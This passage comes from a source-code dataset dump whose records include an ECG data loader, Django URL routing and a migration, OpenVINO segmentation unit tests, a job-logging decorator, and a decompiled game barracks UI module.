file.name[:5] == '07859':\n afib_test = np.load(data_dir + 'afib/' + file.name)\n elif afib_train.size == 0:\n afib_train = np.load(data_dir + 'afib/' + file.name)\n else:\n afib_train = np.concatenate((np.load(data_dir + 'afib/' + file.name), afib_train), axis=0)\n\n norm_train = np.empty((1, SEQ_SIZE))\n with os.scandir(data_dir + 'norm') as files:\n for file in files:\n if file.name.endswith('.npy') and file.is_file():\n if file.name[:5] == '05091':\n norm_val = np.load(data_dir + 'norm/' + file.name)\n elif file.name[:5] == '04048':\n norm_test = np.load(data_dir + 'norm/' + file.name)\n elif norm_train.size == 0:\n norm_train = np.load(data_dir + 'norm/' + file.name)\n else:\n norm_train = np.concatenate((np.load(data_dir + 'norm/' + file.name), norm_train), axis=0)\n\n aflu_train = np.concatenate((np.zeros((aflu_train.shape[0], 1)), aflu_train), axis=1)\n aflu_val = np.concatenate((np.zeros((aflu_val.shape[0], 1)), aflu_val), axis=1)\n aflu_test = np.concatenate((np.zeros((aflu_test.shape[0], 1)), aflu_test), axis=1)\n\n afib_train = np.concatenate((np.ones((afib_train.shape[0], 1)), afib_train), axis=1)\n afib_val = np.concatenate((np.ones((afib_val.shape[0], 1)), afib_val), axis=1)\n afib_test = np.concatenate((np.ones((afib_test.shape[0], 1)), afib_test), axis=1)\n\n norm_train = np.concatenate((2*np.ones((norm_train.shape[0], 1)), norm_train), axis=1)\n norm_val = np.concatenate((2*np.ones((norm_val.shape[0], 1)), norm_val), axis=1)\n norm_test = np.concatenate((2*np.ones((norm_test.shape[0], 1)), norm_test), axis=1)\n\n x_train = np.concatenate((afib_train[:, 1:], aflu_train[:, 1:], norm_train[:, 1:]), axis=0)\n y_train = np.concatenate((afib_train[:, 0], aflu_train[:, 0], norm_train[:, 0]), axis=0)\n\n x_val = np.concatenate((afib_val[:, 1:], aflu_val[:, 1:], norm_val[:, 1:]), axis=0)\n y_val = np.concatenate((afib_val[:, 0], aflu_val[:, 0], norm_val[:, 0]), axis=0)\n\n x_test = np.concatenate((afib_test[:, 1:], aflu_test[:, 1:], norm_test[:, 1:]), axis=0)\n y_test = np.concatenate((afib_test[:, 0], aflu_test[:, 0], norm_test[:, 0]), axis=0)\n\n # The 1e-9 avoids dividing by zero\n if input_norm:\n x_train -= np.mean(x_train, axis=0)\n x_train /= np.std(x_train, axis=0) + 1e-9\n x_test -= np.mean(x_test, axis=0)\n x_test /= np.std(x_test, axis=0) + 1e-9\n x_val -= np.mean(x_val, axis=0)\n x_val /= np.std(x_val, axis=0) + 1e-9\n\n return x_train, x_val, x_test, y_train, y_val, y_test\n\n\n\n","sub_path":"ecg_import.py","file_name":"ecg_import.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"377968304","text":"'''\nurls.py for csm app (ROOT_URLCONF) \n'''\nfrom django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nadmin.autodiscover()\n\nimport csm.views\n\nurlpatterns = patterns('',\n\turl(r'^admin/', include(admin.site.urls)),\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n url(r'^$', csm.views.index),\n\t# modules\n url(r'^modules/',include('csm.modules.urls', namespace=\"modules\")),\n url(r'^modules/lectures/',include('csm.modules.lectures.urls', namespace=\"lectures\")),\n url(r'^modules/exercises/',include('csm.modules.exercises.urls', namespace=\"exercises\")),\n\t# projects\n url(r'^projects/',include('csm.projects.urls', namespace=\"projects\")),\n\t# computing\n url(r'^computing/',include('csm.computing.urls', namespace=\"computing\")),\n url(r'^computing/tex/',include('csm.computing.tex.urls', namespace=\"tex\")),\n)\n","sub_path":"csm/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"86672061","text":"# Copyright (C) 2023 Intel Corporation\n# SPDX-License-Identifier: Apache-2.0\n#\n\nimport copy\nimport os\n\nimport numpy as np\nimport pytest\nfrom openvino.model_zoo.model_api.models import Model\n\nimport otx.algorithms.segmentation.tasks.openvino\nfrom otx.algorithms.segmentation.configs.base import SegmentationConfig\nfrom otx.algorithms.segmentation.tasks.openvino import (\n OpenVINOSegmentationInferencer,\n OpenVINOSegmentationTask,\n)\nfrom otx.api.configuration.helper import create\nfrom otx.api.entities.annotation import (\n Annotation,\n AnnotationSceneEntity,\n AnnotationSceneKind,\n)\nfrom otx.api.entities.datasets import DatasetEntity\nfrom otx.api.entities.label import LabelEntity\nfrom otx.api.entities.metrics import Performance, ScoreMetric\nfrom otx.api.entities.model_template import parse_model_template\nfrom otx.api.entities.resultset import ResultSetEntity\nfrom otx.api.entities.scored_label import ScoredLabel\nfrom otx.api.entities.shapes.polygon import Point, Polygon\nfrom otx.api.usecases.evaluation.metrics_helper import MetricsHelper\nfrom otx.api.usecases.tasks.interfaces.optimization_interface import OptimizationType\nfrom otx.api.utils.shape_factory import ShapeFactory\nfrom tests.test_suite.e2e_test_system import e2e_pytest_unit\nfrom tests.unit.algorithms.segmentation.test_helpers import (\n DEFAULT_SEG_TEMPLATE_DIR,\n generate_otx_dataset,\n generate_otx_label_schema,\n init_environment,\n)\n\n\nclass TestOpenVINOSegmentationInferencer:\n @pytest.fixture(autouse=True)\n def setup(self, mocker) -> None:\n model_template = parse_model_template(os.path.join(DEFAULT_SEG_TEMPLATE_DIR, \"template.yaml\"))\n hyper_parameters = create(model_template.hyper_parameters.data)\n seg_params = SegmentationConfig(header=hyper_parameters.header)\n label_schema = generate_otx_label_schema()\n mocker.patch(\"otx.algorithms.segmentation.tasks.openvino.OpenvinoAdapter\")\n mocker.patch.object(Model, \"create_model\")\n self.seg_ov_inferencer = OpenVINOSegmentationInferencer(seg_params, label_schema, \"\")\n self.seg_ov_inferencer.model = mocker.patch(\"openvino.model_zoo.model_api.models.Model\", autospec=True)\n\n self.fake_input = np.full((5, 1), 0.1)\n\n @e2e_pytest_unit\n def test_pre_process(self):\n self.seg_ov_inferencer.model.preprocess.return_value = {\"foo\": \"bar\"}\n returned_value = self.seg_ov_inferencer.pre_process(self.fake_input)\n\n assert returned_value == {\"foo\": \"bar\"}\n\n @e2e_pytest_unit\n def test_post_process(self):\n fake_prediction = {\"pred\": self.fake_input}\n fake_metadata = {\"soft_prediction\": self.fake_input, \"feature_vector\": None}\n self.seg_ov_inferencer.model.postprocess.return_value = np.ones((5, 1))\n returned_value = self.seg_ov_inferencer.post_process(fake_prediction, fake_metadata)\n\n assert len(returned_value) == 3\n assert np.array_equal(returned_value[2], self.fake_input)\n\n @e2e_pytest_unit\n def test_predict(self, mocker):\n fake_output = AnnotationSceneEntity(kind=AnnotationSceneKind.ANNOTATION, annotations=[])\n mock_pre_process = mocker.patch.object(OpenVINOSegmentationInferencer, \"pre_process\", return_value=(\"\", \"\"))\n mock_forward = mocker.patch.object(OpenVINOSegmentationInferencer, \"forward\")\n mock_post_process = mocker.patch.object(\n OpenVINOSegmentationInferencer, \"post_process\", return_value=fake_output\n )\n returned_value = self.seg_ov_inferencer.predict(self.fake_input)\n\n mock_pre_process.assert_called_once()\n mock_forward.assert_called_once()\n mock_post_process.assert_called_once()\n assert returned_value == fake_output\n\n @e2e_pytest_unit\n def test_forward(self):\n fake_output = {\"pred\": np.full((5, 1), 0.9)}\n self.seg_ov_inferencer.model.infer_sync.return_value = fake_output\n returned_value = self.seg_ov_inferencer.forward({\"image\": self.fake_input})\n\n assert returned_value == fake_output\n\n\nclass TestOpenVINOSegmentationTask:\n @pytest.fixture(autouse=True)\n def setup(self, mocker, otx_model) -> None:\n model_template = parse_model_template(os.path.join(DEFAULT_SEG_TEMPLATE_DIR, \"template.yaml\"))\n hyper_parameters = create(model_template.hyper_parameters.data)\n label_schema = generate_otx_label_schema()\n task_env = init_environment(hyper_parameters, model_template)\n seg_params = SegmentationConfig(header=hyper_parameters.header)\n mocker.patch(\"otx.algorithms.segmentation.tasks.openvino.OpenvinoAdapter\")\n mocker.patch.object(Model, \"create_model\")\n seg_ov_inferencer = OpenVINOSegmentationInferencer(seg_params, label_schema, \"\")\n\n task_env.model = otx_model\n mocker.patch.object(OpenVINOSegmentationTask, \"load_inferencer\", return_value=seg_ov_inferencer)\n self.seg_ov_task = OpenVINOSegmentationTask(task_env)\n\n @e2e_pytest_unit\n def test_infer(self, mocker):\n self.dataset = generate_otx_dataset()\n fake_annotation = [\n Annotation(\n Polygon(points=[Point(0, 0)]),\n id=0,\n labels=[ScoredLabel(LabelEntity(name=\"fake\", domain=\"SEGMENTATION\"), probability=1.0)],\n )\n ]\n fake_ann_scene = AnnotationSceneEntity(kind=AnnotationSceneKind.ANNOTATION, annotations=fake_annotation)\n fake_input = mocker.MagicMock()\n mock_predict = mocker.patch.object(\n OpenVINOSegmentationInferencer, \"predict\", return_value=(fake_ann_scene, None, fake_input)\n )\n mocker.patch(\"otx.algorithms.segmentation.tasks.openvino.get_activation_map\", return_value=np.zeros((5, 1)))\n mocker.patch.object(ShapeFactory, \"shape_produces_valid_crop\", return_value=True)\n updated_dataset = self.seg_ov_task.infer(self.dataset)\n\n mock_predict.assert_called()\n for updated in updated_dataset:\n assert updated.annotation_scene.contains_any([LabelEntity(name=\"fake\", domain=\"SEGMENTATION\")])\n\n @e2e_pytest_unit\n def test_evaluate(self, mocker):\n result_set = ResultSetEntity(\n model=None,\n ground_truth_dataset=DatasetEntity(),\n prediction_dataset=DatasetEntity(),\n )\n fake_metrics = mocker.patch(\"otx.api.usecases.evaluation.dice.DiceAverage\", autospec=True)\n fake_metrics.get_performance.return_value = Performance(\n score=ScoreMetric(name=\"fake\", value=0.1), dashboard_metrics=\"mDice\"\n )\n mocker.patch.object(MetricsHelper, \"compute_dice_averaged_over_pixels\", return_value=fake_metrics)\n self.seg_ov_task.evaluate(result_set)\n\n assert result_set.performance.score.value == 0.1\n\n @e2e_pytest_unit\n def test_deploy(self, otx_model):\n output_model = copy.deepcopy(otx_model)\n self.seg_ov_task.model.set_data(\"openvino.bin\", b\"foo\")\n self.seg_ov_task.model.set_data(\"openvino.xml\", b\"bar\")\n self.seg_ov_task.deploy(output_model)\n\n assert output_model.exportable_code is not None\n\n @e2e_pytest_unit\n def test_optimize(self, mocker, otx_model):\n def patch_save_model(model, dir_path, model_name):\n with open(f\"{dir_path}/{model_name}.xml\", \"wb\") as f:\n f.write(b\"foo\")\n with open(f\"{dir_path}/{model_name}.bin\", \"wb\") as f:\n f.write(b\"bar\")\n\n dataset = generate_otx_dataset()\n output_model = copy.deepcopy(otx_model)\n self.seg_ov_task.model.set_data(\"openvino.bin\", b\"foo\")\n self.seg_ov_task.model.set_data(\"openvino.xml\", b\"bar\")\n mocker.patch(\"otx.algorithms.segmentation.tasks.openvino.load_model\", autospec=True)\n mocker.patch(\"otx.algorithms.segmentation.tasks.openvino.create_pipeline\", autospec=True)\n mocker.patch(\"otx.algorithms.segmentation.tasks.openvino.save_model\", new=patch_save_model)\n spy_compress = mocker.spy(otx.algorithms.segmentation.tasks.openvino, \"compress_model_weights\")\n self.seg_ov_task.optimize(OptimizationType.POT, dataset=dataset, output_model=output_model)\n\n spy_compress.assert_called_once()\n assert self.seg_ov_task.model.get_data(\"openvino.bin\")\n assert self.seg_ov_task.model.get_data(\"openvino.xml\")\n","sub_path":"tests/unit/algorithms/segmentation/tasks/test_segmentation_openvino.py","file_name":"test_segmentation_openvino.py","file_ext":"py","file_size_in_byte":8301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"183782491","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('athon', '0011_auto_20150306_2153'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='activitytype',\n name='hint',\n field=models.CharField(max_length=125, null=True, verbose_name=b'Npr. Create training with rounds', blank=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='post',\n name='user',\n field=models.ForeignKey(related_name='posts', to=settings.AUTH_USER_MODEL),\n preserve_default=True,\n ),\n ]\n","sub_path":"athon/migrations/0012_auto_20150306_2253.py","file_name":"0012_auto_20150306_2253.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"115075179","text":"import logging\nimport datetime\n\n# from psycopg2.extras import DictCursor\n\n# ⓵\nFORMAT = '[%(asctime)s] %(name)s %(levelname)s: %(message)s'\nlogging.basicConfig(\n filename='{}.log'.format(\n datetime.datetime.now().strftime('%Y%m%d%H%M%S')),\n format=FORMAT,\n level=logging.DEBUG)\nlog = logging.getLogger(__name__)\n\n\nclass Internal_Job_Exception(Exception):\n \"\"\"\n ジョブ内でのエラー\n \"\"\"\n\n def __init__(self, job_kbn, job_id):\n self._job_kbn, self._job_id = (\n job_kbn, job_id)\n\n def __str__(self): # エラーメッセージ\n return ('JOB_KBN:{kbn} JOB_ID:{id}'.format(\n kbn=self._job_kbn,\n id=self._job_id,\n ))\n\n\nclass JobControle(object):\n \"\"\"\n ジョブコントロール\n \"\"\"\n\n def __init__(self, job_kbn=None, job_id=None):\n self.__job_kbn = job_kbn\n self.__job_id = job_id\n\n @property\n def job_kbn(self):\n return self.__job_kbn\n\n @property\n def job_id(self):\n return self.__job_id\n\n @staticmethod\n def job_logging(job_func):\n def contorole(self, *args, **kwargs):\n tb = datetime.datetime.now().strftime(\"%Y/%m/%d %H:%M:%S\")\n log.info('JOBkbn:\"{job_kbn}\" JOBID:\"{job_id}\" \\\n StartTime:\"{strtTime}\"'\n .format(\n job_kbn=self.job_kbn,\n job_id=self.job_id,\n strtTime=tb))\n try:\n job_func(self, *args, **kwargs)\n\n except Internal_Job_Exception as e:\n log.error(e)\n except Exception as e:\n log.error(e)\n finally:\n ta = datetime.datetime.now().strftime(\"%Y/%m/%d %H:%M:%S\")\n log.info('JOBkbn:\"{job_kbn}\" JOBID:\"{job_id}\" \\\n EndTime:{endTime}'\n .format(\n job_kbn=self.job_kbn,\n job_id=self.job_id,\n endTime=ta))\n return contorole\n","sub_path":"src/G_Job/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"355444795","text":"# Python bytecode 2.7 (decompiled from Python 2.7)\n# Embedded file name: scripts/client/gui/Scaleform/daapi/view/lobby/barracks/Barracks.py\nimport logging\nimport BigWorld\nfrom CurrentVehicle import g_currentVehicle\nfrom account_helpers.AccountSettings import AccountSettings, BARRACKS_FILTER, RECRUIT_NOTIFICATIONS\nfrom gui import SystemMessages\nfrom gui.ClientUpdateManager import g_clientUpdateManager\nfrom gui.Scaleform.daapi import LobbySubView\nfrom gui.Scaleform.daapi.settings.views import VIEW_ALIAS\nfrom gui.Scaleform.daapi.view.lobby.store.browser.ingameshop_helpers import isIngameShopEnabled\nfrom gui.Scaleform.daapi.view.meta.BarracksMeta import BarracksMeta\nfrom gui.Scaleform.daapi.view.lobby.barracks.sound_constants import BARRACKS_SOUND_SPACE\nfrom gui.Scaleform.genConsts.BARRACKS_CONSTANTS import BARRACKS_CONSTANTS\nfrom gui.Scaleform.locale.MENU import MENU\nfrom gui.Scaleform.locale.TOOLTIPS import TOOLTIPS\nfrom gui.game_control.restore_contoller import getTankmenRestoreInfo\nfrom gui.ingame_shop import showBuyGoldForBerth\nfrom gui.prb_control.entities.listener import IGlobalListener\nfrom gui.server_events.events_dispatcher import showRecruitWindow\nfrom gui.shared import events, event_dispatcher as shared_events\nfrom gui.shared.event_bus import EVENT_BUS_SCOPE\nfrom gui.shared.formatters import text_styles, icons, moneyWithIcon\nfrom gui.shared.gui_items import Tankman, GUI_ITEM_TYPE\nfrom gui.shared.gui_items.Tankman import TankmenComparator, getCrewSkinIconSmallWithoutPath\nfrom gui.shared.gui_items.crew_skin import localizedFullName\nfrom gui.shared.gui_items.items_actions import factory as ActionsFactory\nfrom gui.shared.gui_items.processors.tankman import TankmanDismiss, TankmanUnload, TankmanRestore\nfrom gui.shared.money import Currency\nfrom gui.shared.tooltips import ACTION_TOOLTIPS_TYPE\nfrom gui.shared.tooltips.formatters import packActionTooltipData\nfrom gui.shared.tooltips.tankman import getRecoveryStatusText, formatRecoveryLeftValue\nfrom gui.shared.utils import decorators, flashObject2Dict\nfrom gui.shared.utils.functions import makeTooltip\nfrom gui.shared.utils.requesters import REQ_CRITERIA\nfrom gui.sounds.ambients import LobbySubViewEnv\nfrom gui.server_events import recruit_helper\nfrom helpers import i18n, time_utils, dependency\nfrom helpers.i18n import makeString as _ms\nfrom items.components.crewSkins_constants import NO_CREW_SKIN_ID\nfrom skeletons.gui.game_control import IRestoreController\nfrom skeletons.gui.shared import IItemsCache\nfrom skeletons.gui.lobby_context import ILobbyContext\nfrom skeletons.gui.server_events import IEventsCache\n_logger = logging.getLogger(__name__)\n_COUNTERS_MAP = {RECRUIT_NOTIFICATIONS: ('locationButtonBar', 5)}\n\n@dependency.replace_none_kwargs(itemsCache=IItemsCache, lobbyContext=ILobbyContext)\ndef _packTankmanData(tankman, itemsCache=None, lobbyContext=None):\n tankmanVehicle = itemsCache.items.getItemByCD(tankman.vehicleNativeDescr.type.compactDescr)\n if tankman.isInTank:\n vehicle = itemsCache.items.getVehicle(tankman.vehicleInvID)\n if vehicle is None:\n _logger.error('Cannot find vehicle for tankman: %r %r %r %r %r', tankman, tankman.descriptor.role, tankman.vehicle.name, tankman.firstname, tankman.lastname)\n return\n vehicleID = vehicle.invID\n slot = tankman.vehicleSlotIdx\n isLocked, msg = _getTankmanLockMessage(vehicle)\n actionBtnEnabled = not isLocked\n isInCurrentTank = g_currentVehicle.isPresent() and tankmanVehicle.invID == g_currentVehicle.invID\n isInSelfVehicle = vehicle.shortUserName == tankmanVehicle.shortUserName\n isInSelfVehicleType = vehicle.type == tankmanVehicle.type\n else:\n isLocked, msg = False, ''\n actionBtnEnabled = True\n isInCurrentTank = False\n vehicleID = None\n slot = None\n isInSelfVehicle = True\n isInSelfVehicleType = True\n data = {'fullName': tankman.fullUserName,\n 'rank': tankman.rankUserName,\n 'specializationLevel': tankman.realRoleLevel[0],\n 'role': tankman.roleUserName,\n 'vehicleType': tankmanVehicle.shortUserName,\n 'iconFile': tankman.icon,\n 'rankIconFile': tankman.iconRank,\n 'roleIconFile': Tankman.getRoleBigIconPath(tankman.descriptor.role),\n 'contourIconFile': tankmanVehicle.iconContour,\n 'tankmanID': tankman.invID,\n 'nationID': tankman.nationID,\n 'typeID': tankmanVehicle.innationID,\n 'roleType': tankman.descriptor.role,\n 'tankType': tankmanVehicle.type,\n 'inTank': tankman.isInTank,\n 'compact': str(tankman.invID),\n 'lastSkillLevel': tankman.descriptor.lastSkillLevel,\n 'actionBtnEnabled': actionBtnEnabled,\n 'inCurrentTank': isInCurrentTank,\n 'vehicleID': vehicleID,\n 'slot': slot,\n 'locked': isLocked,\n 'lockMessage': msg,\n 'isInSelfVehicleClass': isInSelfVehicleType,\n 'isInSelfVehicleType': isInSelfVehicle,\n 'notRecruited': False}\n if tankman.skinID != NO_CREW_SKIN_ID and lobbyContext.getServerSettings().isCrewSkinsEnabled():\n skinItem = itemsCache.items.getCrewSkin(tankman.skinID)\n iconFile = getCrewSkinIconSmallWithoutPath(skinItem.getIconID())\n data['iconFile'] = iconFile\n data['fullName'] = localizedFullName(skinItem)\n return data\n\n\ndef _packNotRecruitedTankman(recruitInfo):\n expiryTime = recruitInfo.getExpiryTime()\n recruitBeforeStr = _ms(MENU.BARRACKS_NOTRECRUITEDACTIVATEBEFORE, date=expiryTime) if expiryTime else ''\n availableRoles = recruitInfo.getRoles()\n roleType = availableRoles[0] if len(availableRoles) == 1 else ''\n result = {'rank': recruitBeforeStr,\n 'specializationLevel': recruitInfo.getRoleLevel(),\n 'role': text_styles.counter(recruitInfo.getLabel()),\n 'vehicleType': '',\n 'iconFile': recruitInfo.getBarracksIcon(),\n 'roleIconFile': Tankman.getRoleBigIconPath(roleType) if roleType else '',\n 'rankIconFile': '',\n 'contourIconFile': '',\n 'tankmanID': -1,\n 'nationID': -1,\n 'typeID': -1,\n 'roleType': roleType,\n 'tankType': '',\n 'inTank': False,\n 'compact': '',\n 'lastSkillLevel': recruitInfo.getLastSkillLevel(),\n 'actionBtnEnabled': True,\n 'inCurrentTank': False,\n 'vehicleID': None,\n 'slot': None,\n 'locked': False,\n 'lockMessage': '',\n 'isInSelfVehicleClass': True,\n 'isInSelfVehicleType': True,\n 'notRecruited': True,\n 'isRankNameVisible': True,\n 'recoveryPeriodText': None,\n 'actionBtnLabel': MENU.BARRACKS_BTNRECRUITNOTRECRUITED,\n 'actionBtnTooltip': TOOLTIPS.BARRACKS_TANKMEN_RECRUIT,\n 'skills': [],\n 'isSkillsVisible': False,\n 'recruitID': str(recruitInfo.getRecruitID())}\n return result\n\n\ndef _getTankmanLockMessage(invVehicle):\n if invVehicle.isInBattle:\n return (True, i18n.makeString('#menu:tankmen/lockReason/inbattle'))\n if invVehicle.isBroken:\n return (True, i18n.makeString('#menu:tankmen/lockReason/broken'))\n return (True, i18n.makeString('#menu:tankmen/lockReason/prebattle')) if invVehicle.invID == g_currentVehicle.invID and (g_currentVehicle.isInPrebattle() or g_currentVehicle.isInBattle()) else (False, '')\n\n\ndef _packCounterVO(componentId, count, selectedIdx=0):\n return {'componentId': componentId,\n 'count': count,\n 'selectedIdx': selectedIdx}\n\n\n@dependency.replace_none_kwargs(itemsCache=IItemsCache)\ndef _packBuyBerthsSlot(itemsCache=None):\n berths = itemsCache.items.stats.tankmenBerthsCount\n berthPrice, berthCount = itemsCache.items.shop.getTankmanBerthPrice(berths)\n defaultBerthPrice, _ = itemsCache.items.shop.defaults.getTankmanBerthPrice(berths)\n gold = itemsCache.items.stats.money.gold\n action = None\n if berthPrice != defaultBerthPrice:\n action = packActionTooltipData(ACTION_TOOLTIPS_TYPE.ECONOMICS, 'berthsPrices', True, berthPrice, defaultBerthPrice)\n enoughGold = berthPrice.gold <= gold\n return {'buy': True,\n 'price': BigWorld.wg_getGoldFormat(berthPrice.getSignValue(Currency.GOLD)),\n 'enoughGold': enoughGold or isIngameShopEnabled(),\n 'actionPriceData': action,\n 'count': berthCount}\n\n\ndef _makeRecoveryPeriodText(restoreInfo):\n price, timeLeft = restoreInfo\n timeStr = formatRecoveryLeftValue(timeLeft)\n if not price.isDefined():\n textStyle = text_styles.main\n elif price.getCurrency() == Currency.GOLD:\n textStyle = text_styles.gold\n else:\n textStyle = text_styles.credits\n return textStyle(timeStr)\n\n\nclass Barracks(BarracksMeta, LobbySubView, IGlobalListener):\n __sound_env__ = LobbySubViewEnv\n _COMMON_SOUND_SPACE = BARRACKS_SOUND_SPACE\n itemsCache = dependency.descriptor(IItemsCache)\n eventsCache = dependency.descriptor(IEventsCache)\n restore = dependency.descriptor(IRestoreController)\n\n def __init__(self, ctx=None):\n super(Barracks, self).__init__()\n self.filter = dict(AccountSettings.getFilter(BARRACKS_FILTER))\n self.__updateLocationFilter(ctx)\n self.__notRecruitedTankmen = []\n\n def openPersonalCase(self, tankmanInvID, tabNumber):\n if self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_NOT_RECRUITED:\n return\n tmanInvID = int(tankmanInvID)\n tankman = self.itemsCache.items.getTankman(tmanInvID)\n if tankman and not tankman.isDismissed:\n shared_events.showPersonalCase(tmanInvID, int(tabNumber), EVENT_BUS_SCOPE.LOBBY)\n\n def closeBarracks(self):\n self.fireEvent(events.LoadViewEvent(VIEW_ALIAS.LOBBY_HANGAR), scope=EVENT_BUS_SCOPE.LOBBY)\n\n def invalidateTanksList(self):\n self.__updateTanksList()\n\n def onShowRecruitWindowClick(self, rendererData, menuEnabled):\n if rendererData is not None and rendererData.notRecruited:\n showRecruitWindow(rendererData.recruitID)\n else:\n self.fireEvent(events.LoadViewEvent(VIEW_ALIAS.RECRUIT_WINDOW, ctx={'data': rendererData,\n 'menuEnabled': menuEnabled}))\n return\n\n def buyBerths(self):\n price, _ = self.itemsCache.items.shop.getTankmanBerthPrice(self.itemsCache.items.stats.tankmenBerthsCount)\n availableMoney = self.itemsCache.items.stats.money\n if price and availableMoney.gold < price.gold and isIngameShopEnabled():\n showBuyGoldForBerth(price.gold)\n else:\n ActionsFactory.doAction(ActionsFactory.BUY_BERTHS)\n\n def setTankmenFilter(self):\n self.as_setTankmenFilterS(self.filter['nation'], self.filter['role'], self.filter['tankType'], self.filter['location'], self.filter['nationID'])\n\n def setFilter(self, nation, role, tankType, location, nationID):\n self.filter['nation'] = nation\n self.filter['role'] = role\n self.filter['tankType'] = tankType\n self.filter['location'] = location\n self.filter['nationID'] = nationID\n AccountSettings.setFilter(BARRACKS_FILTER, self.filter)\n self.__updateTankmen()\n\n @decorators.process('updating')\n def actTankman(self, invID):\n if self.filter['location'] != BARRACKS_CONSTANTS.LOCATION_FILTER_NOT_RECRUITED:\n tankman = self.itemsCache.items.getTankman(int(invID))\n if tankman is None:\n _logger.error('Attempt to dismiss tankman by invalid invID: %r', invID)\n return\n if tankman.isDismissed:\n result = yield TankmanRestore(tankman).request()\n elif tankman.isInTank:\n tmanVehile = self.itemsCache.items.getVehicle(tankman.vehicleInvID)\n if tmanVehile is None:\n _logger.error(\"Target tankman's vehicle is not found in inventory %r %r\", tankman, tankman.vehicleInvID)\n return\n result = yield TankmanUnload(tmanVehile, tankman.vehicleSlotIdx).request()\n else:\n result = yield TankmanDismiss(tankman).request()\n SystemMessages.pushMessages(result)\n return\n\n def update(self):\n self.__updateTankmen()\n\n def onPrbFunctionalFinished(self):\n self.__updateTankmen()\n\n def onPlayerStateChanged(self, functional, roster, accountInfo):\n if accountInfo.isCurrentPlayer():\n self.__updateTankmen()\n\n def onUnitFunctionalFinished(self):\n self.__updateTankmen()\n\n def onUnitPlayerStateChanged(self, pInfo):\n if pInfo.isCurrentPlayer():\n self.__updateTankmen()\n\n def onCountersVisited(self, counters):\n for counterGfxData in counters:\n counterData = flashObject2Dict(counterGfxData)\n valToSearch = (counterData['componentId'], counterData['selectedIdx'])\n prefName = _COUNTERS_MAP.keys()[_COUNTERS_MAP.values().index(valToSearch)]\n self.__setCountersData(prefName, counter=0)\n self.__setVisited(prefName)\n\n def _populate(self):\n super(Barracks, self)._populate()\n self.app.component.wg_inputKeyMode = 1\n self.startGlobalListening()\n self.itemsCache.onSyncCompleted += self.__updateTankmen\n g_clientUpdateManager.addCallbacks({'inventory.8': self.__updateTankmen,\n 'stats.berths': self.__updateTankmen,\n 'recycleBin.tankmen': self.__updateTankmen})\n self.eventsCache.onProgressUpdated += self.__updateNotRecruitedTankmen\n self.restore.onTankmenBufferUpdated += self.__updateDismissedTankmen\n self.__updateNotRecruitedTankmen()\n self.setTankmenFilter()\n\n def _invalidate(self, ctx=None):\n super(Barracks, self)._invalidate(ctx)\n self.__updateLocationFilter(ctx)\n self.setTankmenFilter()\n\n def _dispose(self):\n self.eventsCache.onProgressUpdated -= self.__updateNotRecruitedTankmen\n self.restore.onTankmenBufferUpdated -= self.__updateDismissedTankmen\n g_clientUpdateManager.removeObjectCallbacks(self)\n self.itemsCache.onSyncCompleted -= self.__updateTankmen\n self.stopGlobalListening()\n super(LobbySubView, self)._dispose()\n\n def __updateLocationFilter(self, ctx):\n if ctx is not None:\n location = ctx.get('location', None)\n if location is not None:\n self.filter['location'] = location\n return\n\n def __updateTanksList(self):\n data = list()\n modulesAll = self.itemsCache.items.getVehicles(REQ_CRITERIA.INVENTORY).values()\n modulesAll.sort()\n for module in modulesAll:\n if self.filter['nation'] != -1 and self.filter['nation'] != module.descriptor.type.id[0] or self.filter['tankType'] != 'None' and self.filter['tankType'] != -1 and self.filter['tankType'] != module.type:\n continue\n data.append({'data': {'type': module.type,\n 'nationID': module.descriptor.type.id[0],\n 'typeID': module.descriptor.type.id[1]},\n 'label': module.descriptor.type.shortUserString})\n\n self.as_updateTanksListS(data)\n\n def __updateTankmen(self, *args):\n isNotRecruited = self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_NOT_RECRUITED\n self.__switchTankmanFiltersEnable(not isNotRecruited)\n if self.filter['location'] == BARRACKS_CONSTANTS.LOCATION_FILTER_DISMISSED:\n self.__showDismissedTankmen(self.__buildCriteria())\n elif isNotRecruited:\n self.__updateNotRecruitedTankmenField()\n self.__showNotRecruitedTankmen()\n else:\n self.__showActiveTankmen(self.__buildCriteria())\n\n def __showActiveTankmen(self, criteria):\n allTankmen = self.itemsCache.items.getTankmen().values()\n tankmenInBarracks = 0\n tankmenList = [_packBuyBerthsSlot()]\n for tankman in sorted(allTankmen, cmp=TankmenComparator(self.itemsCache.items.getVehicle)):\n if not tankman.isInTank:\n tankmenInBarracks += 1\n if not criteria(tankman):\n continue\n tankmanData = _packTankmanData(tankman)\n if tankmanData is not None:\n if tankman.isInTank:\n actionBtnLabel = MENU.BARRACKS_BTNUNLOAD\n actionBtnTooltip = TOOLTIPS.BARRACKS_TANKMEN_UNLOAD\n else:\n actionBtnLabel = MENU.BARRACKS_BTNDISSMISS\n actionBtnTooltip = TOOLTIPS.BARRACKS_TANKMEN_DISMISS\n tankmanData.update({'isRankNameVisible': True,\n 'recoveryPeriodText': None,\n 'actionBtnLabel': actionBtnLabel,\n 'actionBtnTooltip': actionBtnTooltip,\n 'skills': None,\n 'isSkillsVisible': False})\n tankmenList.append(tankmanData)\n\n tankmenInSlots = len(tankmenList) - 1\n slots = self.itemsCache.items.stats.tankmenBerthsCount\n if tankmenInBarracks < slots:\n tankmenList.insert(1, {'empty': True,\n 'freePlaces': slots - tankmenInBarracks})\n 